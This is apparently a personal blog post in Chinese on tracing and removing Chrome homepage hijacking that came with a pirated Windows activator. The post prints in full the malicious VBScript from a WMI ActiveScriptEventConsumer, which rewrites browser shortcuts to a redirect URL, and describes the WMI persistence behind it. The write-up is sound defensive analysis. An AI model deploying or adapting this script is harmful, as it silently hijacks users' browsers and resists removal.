前言
最近幫別人激活系統(tǒng),就下了一個(gè)小馬激活軟件,在電腦上打開了一下,確認(rèn)能正常運(yùn)行之后,就給別人發(fā)過去了。
本以為沒什么事了,過了一段時(shí)間之后,像往常一樣打開chrome,彈出的不是熟悉的Google主頁,而是hao123,那種心情,就是參考文章1中形容的一樣,“跟吃了蒼蠅一樣惡心”。折騰了很久,最后總算是解決了這個(gè)問題了。
原因分析
首先檢查了一下chrome的主頁設(shè)置,發(fā)現(xiàn)沒有問題,依然是原來的google.com。
然后到chrome的安裝目錄,直接雙擊打開chrome程序,沒有問題。
然后檢查快捷方式。因?yàn)槲野裞hrome固定到任務(wù)欄上,一般使用的時(shí)候都是點(diǎn)擊任務(wù)欄圖標(biāo)的,而實(shí)際上這只是一個(gè)快捷方式。右鍵任務(wù)欄chrome圖標(biāo)->右鍵Google Chrome->屬性,就會(huì)彈出該快捷方式的屬性窗口。發(fā)現(xiàn)快捷方式的目標(biāo)鏈接已經(jīng)被修改,多加了一個(gè)啟動(dòng)參數(shù):
1 | "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao./?v=108 |
而這個(gè)網(wǎng)址,打開之后就會(huì)重定向到hao123.com。
原因找出來了,出現(xiàn)主頁被脅持的原因是系統(tǒng)里所有跟chrome有關(guān)的快捷方式都被修改,加了一個(gè)啟動(dòng)參數(shù)導(dǎo)致每次被啟動(dòng)時(shí)候都會(huì)跳轉(zhuǎn)到這個(gè)網(wǎng)址。除了任務(wù)欄快捷方式之外,開始菜單中跟chrome有關(guān)的所有快捷方式都無一幸免。
修復(fù)嘗試
定位出這個(gè)原因之后,結(jié)合網(wǎng)上的一些方法,進(jìn)行了很多的嘗試,最后也沒有徹底解決:
手動(dòng)刪掉所有快捷方式中的啟動(dòng)參數(shù)。這個(gè)方法治標(biāo)不治本,本來以為這樣可以解決了,結(jié)果隔了一段時(shí)間,或者重啟系統(tǒng)之后,所有快捷方式又會(huì)被惡意修改。
嘗試了一下參考文章2的方法,但是找不到文中所說的注冊(cè)表項(xiàng)和隱藏文件。
在注冊(cè)表中搜索所有跟hao123相關(guān)的內(nèi)容,然后刪除,但是問題仍然存在。
用Everything搜索本地所有跟hao123相關(guān)的文件和文件夾,但是刪除之后仍然沒有解決問題。
最后找到了參考文章1的方法,但是在WMI event viewer中找不到文中所說的_EventFilter:Name=”unown_filter”
重裝chrome,但是一段時(shí)間之后惡心的hao123又回來了
把所有chrome快捷方式設(shè)為只讀,但是發(fā)現(xiàn)一段時(shí)間之后還是被惡意修改了
解決方法
經(jīng)過這些頭痛的嘗試之后,決定先一步一步定位出原因,首先是要看一下到底是什么程序修改了chrome快捷方式。下載Process Monitor,菜單欄Filter->filter,在彈出的窗口中,把chrome的快捷方式路徑添加到監(jiān)視中:
注意這時(shí)候不要對(duì)chrome進(jìn)行任何操作,包括打開、右鍵等等,以免造成干擾。監(jiān)視一段時(shí)間之后,就會(huì)發(fā)現(xiàn)元兇露出了真面目:
就是這個(gè)叫scrcons.exe的程序在修改chrome快捷方式。
這時(shí)候發(fā)現(xiàn)定位出來的原因跟這篇文章中的原因是一樣的,于是再次按照文中所說的方法,用WMI Event Viewer查看WMI事件。但仍然沒有在root/subscription里面找到可疑項(xiàng),最后幾番查找,終于在root\CIMV2里面揪出了真兇。
首先打開WMI Event Viewer,點(diǎn)擊左上角工具欄中的Register for Events按鈕,默認(rèn)就會(huì)連接到root\CIMV2,直接點(diǎn)確定即可。
然后在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下,找到了可疑項(xiàng)。
雙擊ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”,彈出屬性頁面:
就會(huì)發(fā)現(xiàn)chrome快捷方式被修改的元兇 — ScriptText:
1 | On Error Resume Next:Const link = "http://hao./?v=108":Const link360 = "http://hao./?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next: |
這個(gè)腳本定期就會(huì)被系統(tǒng)調(diào)用一次,所以就算手動(dòng)把快捷方式的參數(shù)清空,隔一段時(shí)間之后又會(huì)重新被改回來。
這也是很多流氓軟件的常用招數(shù),具體可以參考利用WMI打造完美“三無”后門。
惡意腳本分析
上面的VB腳本用冒號(hào)作為分隔符,把一段程序?qū)懗闪艘粋€(gè)語句,為了便于理解,把這段腳本重新排版了一下:
1 | On Error Resume Next |
可以看到,這段腳本就是遍歷所有快捷方式目錄(linkpaths)下的所有瀏覽器(browsers)的快捷方式,然后重新給快捷方式加上啟動(dòng)參數(shù)。
至此,飛到嘴里的這只臭蒼蠅總算是吐出來了。這也教育我們,要支持正版系統(tǒng)和軟件?。。。ㄕ?jīng)臉)
張嘴謹(jǐn)慎點(diǎn),自然不會(huì)有蒼蠅飛進(jìn)去了。
參考
[1] 如何手工去除http://www.2345.com/?kunown惡意鏈接!
[2] hao123、hao.qquu8.com劫持IE、Chrome瀏覽器被的解決辦法
[3] 利用WMI打造完美“三無”后門